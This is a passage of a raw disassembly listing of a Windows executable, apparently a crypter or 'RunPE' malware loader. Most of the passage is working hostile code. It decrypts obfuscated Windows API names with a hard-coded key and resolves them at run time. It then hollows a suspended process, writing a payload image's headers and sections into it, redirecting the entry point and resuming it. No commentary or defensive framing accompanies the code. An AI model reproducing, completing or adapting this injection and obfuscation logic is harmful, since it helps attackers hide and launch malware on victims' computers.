loc_401F1D:				; DATA XREF: sub_401EBC+44o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401EBC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F24	proc near		; DATA XREF: CODE:00403270o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_401F49
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_405680
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401F50


loc_401F48:				; CODE XREF: sub_401F24+2Aj
		retn
; ---------------------------------------------------------------------------


loc_401F49:				; DATA XREF: sub_401F24+6o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_401F48
; ---------------------------------------------------------------------------


loc_401F50:				; CODE XREF: sub_401F24:loc_401F48j
					; DATA XREF: sub_401F24+1Fo
		pop	ebp
		retn
sub_401F24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401F54	proc near		; DATA XREF: CODE:0040326Co
		sub	ds:dword_405680, 1
		retn
sub_401F54	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F5C	proc near		; CODE XREF: sub_401F68+2Dp
					; sub_4020E4+31p ...
		test	eax, eax
		jz	short locret_401F65
		sub	eax, 4
		mov	eax, [eax]

locret_401F65:				; CODE XREF: sub_401F5C+2j
		retn
sub_401F5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F68	proc near		; CODE XREF: CODE:00403358p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_401994
		xor	eax, eax
		push	ebp
		push	offset loc_40208A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_4]
		call	sub_401F5C
		mov	ebx, eax
		cmp	ebx, 4
		jbe	loc_402060
		lea	eax, [ebp+arg_4]
		call	sub_4019F0
		mov	edi, eax
		mov	edx, [edi]
		mov	eax, esi
		call	sub_4019F8
		cmp	dword ptr [edi], 80000h
		jbe	short loc_401FC9
		mov	[ebp+var_8], 2
		jmp	short loc_401FD0
; ---------------------------------------------------------------------------


loc_401FC9:				; CODE XREF: sub_401F68+56j
		mov	[ebp+var_8], 102h


loc_401FD0:				; CODE XREF: sub_401F68+5Fj
		lea	ecx, [ebp+var_C]
		mov	edx, offset a@errt14@Yht41 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_4020BC
		call	sub_401EBC
		mov	eax, [ebp+var_C]
		call	sub_4019A4
		push	eax		; lpLibFileName
		call	LoadLibraryA	; LoadLibraryA
		mov	ds:hModule, eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset a@errt14@Yht41 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_4020D0
		call	sub_401EBC
		mov	eax, [ebp+var_10]
		call	sub_4019A4
		push	eax		; lpProcName
		mov	eax, ds:hModule
		push	eax		; hModule
		call	GetProcAddress	; GetProcAddress
		mov	ds:dword_405688, eax
		lea	eax, [ebp+var_4]
		push	eax
		sub	ebx, 4
		push	ebx
		lea	eax, [ebp+arg_4]
		call	sub_4019F0
		add	eax, 4
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, esi
		call	sub_4019F0
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_405688
		mov	eax, ds:hModule
		push	eax		; hLibModule
		call	FreeLibrary_0
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_4019F8
		jmp	short loc_402067
; ---------------------------------------------------------------------------


loc_402060:				; CODE XREF: sub_401F68+37j
		mov	eax, esi
		call	sub_40174C


loc_402067:				; CODE XREF: sub_401F68+F6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402091


loc_402074:				; CODE XREF: sub_401F68+127j
		lea	eax, [ebp+var_10]
		mov	edx, 2
		call	sub_401770
		lea	eax, [ebp+arg_4]
		call	sub_40174C
		retn
; ---------------------------------------------------------------------------


loc_40208A:				; DATA XREF: sub_401F68+1Fo
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_402074
; ---------------------------------------------------------------------------


loc_402091:				; CODE XREF: sub_401F68+121j
					; DATA XREF: sub_401F68+107o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_401F68	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Fh
a@errt14@Yht41	db '@erRT14@$%yHt41',0  ; DATA XREF: sub_401F68+6Bo
					; sub_401F68+90o
		dd 0FFFFFFFFh, 9
dword_4020BC	dd 1C314749h, 12981B7Ch, 0AFh, 0FFFFFFFFh, 13hdword_4020D0	dd 34394775h, 13935675h, 50EB95B3h, 0D2B870BCh,	6FD978h
					; DATA XREF: sub_401F68+95o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020E4	proc near		; CODE XREF: CODE:00403365p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_401994
		xor	eax, eax
		push	ebp
		push	offset loc_4021A7
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_40174C
		mov	eax, [ebp+arg_4]
		call	sub_401F5C
		mov	[ebp+var_8], eax
		mov	ebx, 1
		cmp	ebx, [ebp+var_8]
		ja	short loc_402189


loc_402127:				; CODE XREF: sub_4020E4+A3j
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx-1]
		test	al, al
		jnz	short loc_40216A
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx]
		mov	[ebp+var_1], al
		mov	eax, [esi]
		call	sub_401F5C
		mov	edi, eax
		xor	edx, edx
		mov	dl, [ebp+var_1]
		add	edx, edi
		mov	eax, esi
		call	sub_4019F8
		mov	eax, esi
		call	sub_4019F0
		add	eax, edi
		xor	edx, edx
		mov	dl, [ebp+var_1]
		xor	ecx, ecx
		call	sub_40137C
		inc	ebx
		jmp	short loc_402183
; ---------------------------------------------------------------------------


loc_40216A:				; CODE XREF: sub_4020E4+4Cj
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	dl, [edx+ebx-1]
		call	sub_401840
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_4018AC


loc_402183:				; CODE XREF: sub_4020E4+84j
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jbe	short loc_402127


loc_402189:				; CODE XREF: sub_4020E4+41j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4021AE


loc_402196:				; CODE XREF: sub_4020E4+C8j
		lea	eax, [ebp+var_C]
		call	sub_40174C
		lea	eax, [ebp+arg_4]
		call	sub_40174C
		retn
; ---------------------------------------------------------------------------


loc_4021A7:				; DATA XREF: sub_4020E4+1Co
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_402196
; ---------------------------------------------------------------------------


loc_4021AE:				; CODE XREF: sub_4020E4+C2j
					; DATA XREF: sub_4020E4+ADo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4020E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4021B8	proc near		; DATA XREF: CODE:00403278o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4021DD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_405684
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4021E4


loc_4021DC:				; CODE XREF: sub_4021B8+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4021DD:				; DATA XREF: sub_4021B8+6o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_4021DC
; ---------------------------------------------------------------------------


loc_4021E4:				; CODE XREF: sub_4021B8:loc_4021DCj
					; DATA XREF: sub_4021B8+1Fo
		pop	ebp
		retn
sub_4021B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4021E8	proc near		; DATA XREF: CODE:00403274o
		sub	ds:dword_405684, 1
		retn
sub_4021E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4021F0	proc near		; CODE XREF: sub_4026DC+33p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_4021F8:				; CODE XREF: sub_4021F0+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4021F8
		push	ebx
		push	esi
		mov	esi, offset dword_4056AC
		xor	eax, eax
		push	ebp
		push	offset loc_40244F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_8]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_40247C
		call	sub_401EBC
		mov	eax, [ebp+var_8]
		call	sub_4019A4
		push	eax		; lpLibFileName
		call	LoadLibraryA	; LoadLibraryA
		mov	ebx, eax
		lea	ecx, [ebp+var_C]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402494
		call	sub_401EBC
		mov	eax, [ebp+var_C]
		call	sub_4019A4
		push	eax		; lpLibFileName
		call	LoadLibraryA	; LoadLibraryA
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_4024A8
		call	sub_401EBC
		mov	eax, [ebp+var_10]
		call	sub_4019A4
		push	eax		; lpProcName
		push	ebx		; hModule
		call	GetProcAddress	; GetProcAddress
		mov	[esi], eax
		lea	ecx, [ebp+var_14]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_4024C0
		call	sub_401EBC
		mov	eax, [ebp+var_14]
		call	sub_4019A4
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4056B0, eax
		lea	ecx, [ebp+var_18]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_4024DC
		call	sub_401EBC
		mov	eax, [ebp+var_18]
		call	sub_4019A4
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_405690, eax
		lea	ecx, [ebp+var_1C]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_4024F4
		call	sub_401EBC
		mov	eax, [ebp+var_1C]
		call	sub_4019A4
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_405694, eax
		lea	ecx, [ebp+var_20]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402510
		call	sub_401EBC
		mov	eax, [ebp+var_20]
		call	sub_4019A4
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_40569C, eax
		lea	ecx, [ebp+var_24]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_40252C
		call	sub_401EBC
		mov	eax, [ebp+var_24]
		call	sub_4019A4
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4056A0, eax
		lea	ecx, [ebp+var_28]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402548
		call	sub_401EBC
		mov	eax, [ebp+var_28]
		call	sub_4019A4
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4056A4, eax
		lea	ecx, [ebp+var_2C]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402560
		call	sub_401EBC
		mov	eax, [ebp+var_2C]
		call	sub_4019A4
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4056B8, eax
		lea	ecx, [ebp+var_30]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402574
		call	sub_401EBC
		mov	eax, [ebp+var_30]
		call	sub_4019A4
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4056A8, eax
		lea	ecx, [ebp+var_34]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402590
		call	sub_401EBC
		mov	eax, [ebp+var_34]
		call	sub_4019A4
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_405698, eax
		lea	ecx, [ebp+var_38]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_4025A8
		call	sub_401EBC
		mov	eax, [ebp+var_38]
		call	sub_4019A4
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	dword ptr [esi]
		mov	ds:dword_4056B4, eax
		lea	ecx, [ebp+var_3C]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_4025C8
		call	sub_401EBC
		mov	eax, [ebp+var_3C]
		call	sub_4019A4
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4056BC, eax
		mov	eax, offset dword_4024F4
		lea	ecx, [ebp+var_40]
		mov	edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41"
		call	sub_401EBC
		mov	eax, [ebp+var_40]
		call	sub_4019A4
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_405694, eax
		push	ebx
		call	ds:dword_4056B8
		mov	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4056B8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402456


loc_402441:				; CODE XREF: sub_4021F0+264j
		lea	eax, [ebp+var_40]
		mov	edx, 0Fh
		call	sub_401770
		retn
; ---------------------------------------------------------------------------


loc_40244F:				; DATA XREF: sub_4021F0+19o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_402441
; ---------------------------------------------------------------------------


loc_402456:				; CODE XREF: sub_4021F0+25Ej
					; DATA XREF: sub_4021F0+24Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4021F0	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 0Fh
a@errt14@Yht4_0	db '@erRT14@$%yHt41',0  ; DATA XREF: sub_4021F0+27o
					; sub_4021F0+49o ...
		dd 0FFFFFFFFh, 0Ch
dword_40247C	dd 1E27564Ch, 4CCF5975h, 4FE283EDh, 0		dd 0FFFFFFFFh, 9
dword_402494	dd 1C314749h, 12981B7Ch, 0AFh, 0FFFFFFFFh, 0Ehdword_4024A8	dd 20215660h, 3F9F5A62h, 46FC83A7h, 41BCh, 0FFFFFFFFh
					; DATA XREF: sub_4021F0+71o
		dd 10h
dword_4024C0	dd 4275A71h, 2E905465h,	46FA88B1h, 0CC8846ACh, 0		dd 0FFFFFFFFh, 0Ch
dword_4024DC	dd 5265675h, 16A8507Dh,	47EF82B1h, 0		dd 0FFFFFFFFh, 10h
dword_4024F4	dd 24215674h, 1F994778h, 4DE1A4A7h, 0C0B557BBh,	0
					; DATA XREF: sub_4021F0+DAo
					; sub_4021F0+210o
		dd 0FFFFFFFFh, 11h
dword_402510	dd 14345675h, 1D934740h, 6EFD94A6h, 0C6A25FAAh,	67h, 0FFFFFFFFh
					; DATA XREF: sub_4021F0+FDo
		dd 10h
dword_40252C	dd 24215660h, 1F994778h, 4DE1A4A7h, 0C0B557BBh,	0
					; DATA XREF: sub_4021F0+120o
		dd 0FFFFFFFFh, 0Eh
dword_402548	dd 11304164h, 0CAC5064h, 50EB84ACh, 73BCh, 0FFFFFFFFh
					; DATA XREF: sub_4021F0+143o
		dd 0Bh
dword_402560	dd 15304161h, 0C9E5C5Ch, 0F795A2h, 0FFFFFFFFh, 12h
					; DATA XREF: sub_4021F0+166o
dword_402574	dd 43C4170h, 118E6575h,	50FD82A0h, 0DBA05782h, 0C56Ch
					; DATA XREF: sub_4021F0+189o
		dd 0FFFFFFFFh, 0Eh
dword_402590	dd 4275A71h, 3F905465h,	40E18BAFh, 4A8Ah, 0FFFFFFFFh, 14h
					; DATA XREF: sub_4021F0+1ACo
dword_4025A8	dd 1E00447Dh, 288C547Dh, 6CF982AAh, 0D7A861A9h,	0D772D56Ah
					; DATA XREF: sub_4021F0+1CFo
		dd 0
		dd 0FFFFFFFFh, 10h
dword_4025C8	dd 1D275673h, 0A9D5B79h, 4CFCB7A6h, 0C7BE57ACh,	0
					; DATA XREF: sub_4021F0+1F5o

; =============== S U B	R O U T	I N E =======================================



sub_4025DC	proc near		; CODE XREF: sub_402620+28p
					; sub_402620+38p ...
		push	ecx
		mov	edx, esp
		call	sub_401408
		pop	edx
		retn
sub_4025DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4025E8	proc near		; CODE XREF: sub_402620+20p
					; sub_402620+30p ...

var_108		= byte ptr -108h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	esi, edx
		mov	ebx, eax
		lea	edx, [esp+114h+var_108]
		mov	eax, ebx
		call	sub_4013FC
		lea	edx, [esp+114h+var_108]
		mov	eax, esp
		mov	cl, 0Bh
		call	sub_401360
		mov	eax, esi
		mov	edx, esp
		call	sub_401880
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_4025E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402620	proc near		; CODE XREF: sub_4026A8+8p
					; sub_4026C0+8p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40269A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		nop
		lea	edx, [ebp+var_10]
		mov	eax, ebx
		call	sub_4025E8
		mov	eax, [ebp+var_10]
		call	sub_4025DC
		lea	edx, [ebp+var_C]
		call	sub_4025E8
		mov	eax, [ebp+var_C]
		call	sub_4025DC
		lea	edx, [ebp+var_8]
		call	sub_4025E8
		mov	eax, [ebp+var_8]
		call	sub_4025DC
		lea	edx, [ebp+var_4]
		call	sub_4025E8
		mov	eax, [ebp+var_4]
		call	sub_4025DC
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4026A1


loc_40268C:				; CODE XREF: sub_402620+7Fj
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_401770
		retn
; ---------------------------------------------------------------------------


loc_40269A:				; DATA XREF: sub_402620+Fo
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_40268C
; ---------------------------------------------------------------------------


loc_4026A1:				; CODE XREF: sub_402620+79j
					; DATA XREF: sub_402620+67o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402620	endp


; =============== S U B	R O U T	I N E =======================================



sub_4026A8	proc near		; CODE XREF: sub_4026DC+19Ap
		push	ebx
		mov	ebx, eax
		mov	eax, 7Ch
		call	sub_402620
		lea	eax, [ebx+18h]
		movzx	edx, word ptr [ebx+14h]
		add	eax, edx
		pop	ebx
		retn
sub_4026A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4026C0	proc near		; CODE XREF: sub_4026DC+1EFp
		push	ebx
		mov	ebx, eax
		mov	eax, 7Ch
		call	sub_402620
		shr	ebx, 1Dh
		mov	eax, ds:dword_40407C[ebx*4]
		pop	ebx
		retn
sub_4026C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026DC	proc near		; CODE XREF: CODE:0040339Ep

var_148		= dword	ptr -148h
var_A4		= dword	ptr -0A4h
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_4C		= word ptr -4Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEB8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		call	sub_401994
		mov	eax, [ebp+var_C]
		call	sub_401994
		xor	eax, eax
		push	ebp
		push	offset loc_4029A8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_4021F0
		xor	ebx, ebx
		mov	eax, 7Ch
		call	sub_402620
		lea	eax, [ebp+var_38]
		xor	ecx, ecx
		mov	edx, 10h
		call	sub_40137C
		lea	eax, [ebp+var_7C]
		xor	ecx, ecx
		mov	edx, 44h
		call	sub_40137C
		mov	[ebp+var_7C], 44h
		xor	eax, eax
		mov	al, [ebp+arg_0]
		mov	[ebp+var_4C], ax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_C]
		call	sub_4019A4
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_4019A4
		push	eax
		call	ds:dword_4056A4
		test	eax, eax
		jz	loc_40298D
		mov	[ebp+var_21], 1
		mov	eax, 7Ch
		call	sub_402620
		nop
		nop
		nop
		nop
		nop
		xor	eax, eax
		push	ebp
		push	offset loc_402986
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_148], 10002h
		lea	eax, [ebp+var_148]
		push	eax
		mov	eax, [ebp+var_34]
		push	eax
		call	ds:dword_4056A0
		test	eax, eax
		jz	loc_40294D
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40569C
		test	eax, eax
		jz	loc_40294D
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_4056B4
		test	eax, eax
		jb	loc_40294D
		cmp	[ebp+var_4], 0
		jz	loc_40294D
		mov	eax, 7Ch
		call	sub_402620
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		push	4
		push	3000h
		mov	eax, [ebp+var_20]
		mov	eax, [eax+50h]
		push	eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_405698
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40294D
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+54h]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_4056A8
		test	eax, eax
		jz	loc_40294D
		mov	eax, [ebp+var_20]
		call	sub_4026A8
		mov	esi, eax
		mov	eax, 7Ch
		call	sub_402620
		mov	eax, [ebp+var_20]
		movzx	eax, word ptr [eax+6]
		dec	eax
		test	eax, eax
		jb	short loc_4028EE
		inc	eax
		mov	[ebp+var_28], eax
		xor	ebx, ebx


loc_402899:				; CODE XREF: sub_4026DC+210j
		lea	eax, [ebp+var_18]
		push	eax
		lea	edi, [ebx+ebx*4]
		mov	eax, [esi+edi*8+10h]
		push	eax
		mov	eax, [esi+edi*8+14h]
		add	eax, [ebp+var_4]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_4056A8
		test	eax, eax
		jz	short loc_4028E8
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [esi+edi*8+24h]
		call	sub_4026C0
		push	eax
		mov	eax, [esi+edi*8+8]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_4056B0


loc_4028E8:				; CODE XREF: sub_4026DC+1E5j
		inc	ebx
		dec	[ebp+var_28]
		jnz	short loc_402899


loc_4028EE:				; CODE XREF: sub_4026DC+1B5j
		mov	eax, 7Ch
		call	sub_402620
		lea	eax, [ebp+var_18]
		push	eax
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_4056A8
		test	eax, eax
		jz	short loc_40294D
		mov	eax, 7Ch
		call	sub_402620
		mov	eax, [ebp+var_20]
		mov	eax, [eax+28h]
		add	eax, [ebp+var_10]
		mov	[ebp+var_98], eax
		lea	eax, [ebp+var_148]
		push	eax
		mov	eax, [ebp+var_34]
		push	eax
		call	ds:dword_405694
		cmp	eax, 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_21], al


loc_40294D:				; CODE XREF: sub_4026DC+E4j
					; sub_4026DC+10Aj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40298D


loc_40295A:				; CODE XREF: sub_4026DC+2AFj
		cmp	[ebp+var_21], 0
		jnz	short loc_40296E
		push	0
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_4056BC
		jmp	short loc_402978
; ---------------------------------------------------------------------------


loc_40296E:				; CODE XREF: sub_4026DC+282j
		mov	eax, [ebp+var_34]
		push	eax
		call	ds:dword_405690


loc_402978:				; CODE XREF: sub_4026DC+290j
		mov	eax, 7Ch
		call	sub_402620
		mov	bl, [ebp+var_21]
		retn
; ---------------------------------------------------------------------------


loc_402986:				; DATA XREF: sub_4026DC+BCo
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_40295A
; ---------------------------------------------------------------------------


loc_40298D:				; CODE XREF: sub_4026DC+A0j
					; DATA XREF: sub_4026DC+279o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4029AF


loc_40299A:				; CODE XREF: sub_4026DC+2D1j
		lea	eax, [ebp+var_C]
		mov	edx, 2
		call	sub_401770
		retn
; ---------------------------------------------------------------------------


loc_4029A8:				; DATA XREF: sub_4026DC+28o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_40299A
; ---------------------------------------------------------------------------


loc_4029AF:				; CODE XREF: sub_4026DC+2CBj
					; DATA XREF: sub_4026DC+2B9o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4026DC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029BC	proc near		; DATA XREF: CODE:00403280o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4029E1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4056C0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4029E8


loc_4029E0:				; CODE XREF: sub_4029BC+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4029E1:				; DATA XREF: sub_4029BC+6o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_4029E0
; ---------------------------------------------------------------------------


loc_4029E8:				; CODE XREF: sub_4029BC:loc_4029E0j
					; DATA XREF: sub_4029BC+1Fo
		pop	ebp
		retn
sub_4029BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4029EC	proc near		; DATA XREF: CODE:0040327Co
		sub	ds:dword_4056C0, 1
		retn
sub_4029EC	endp

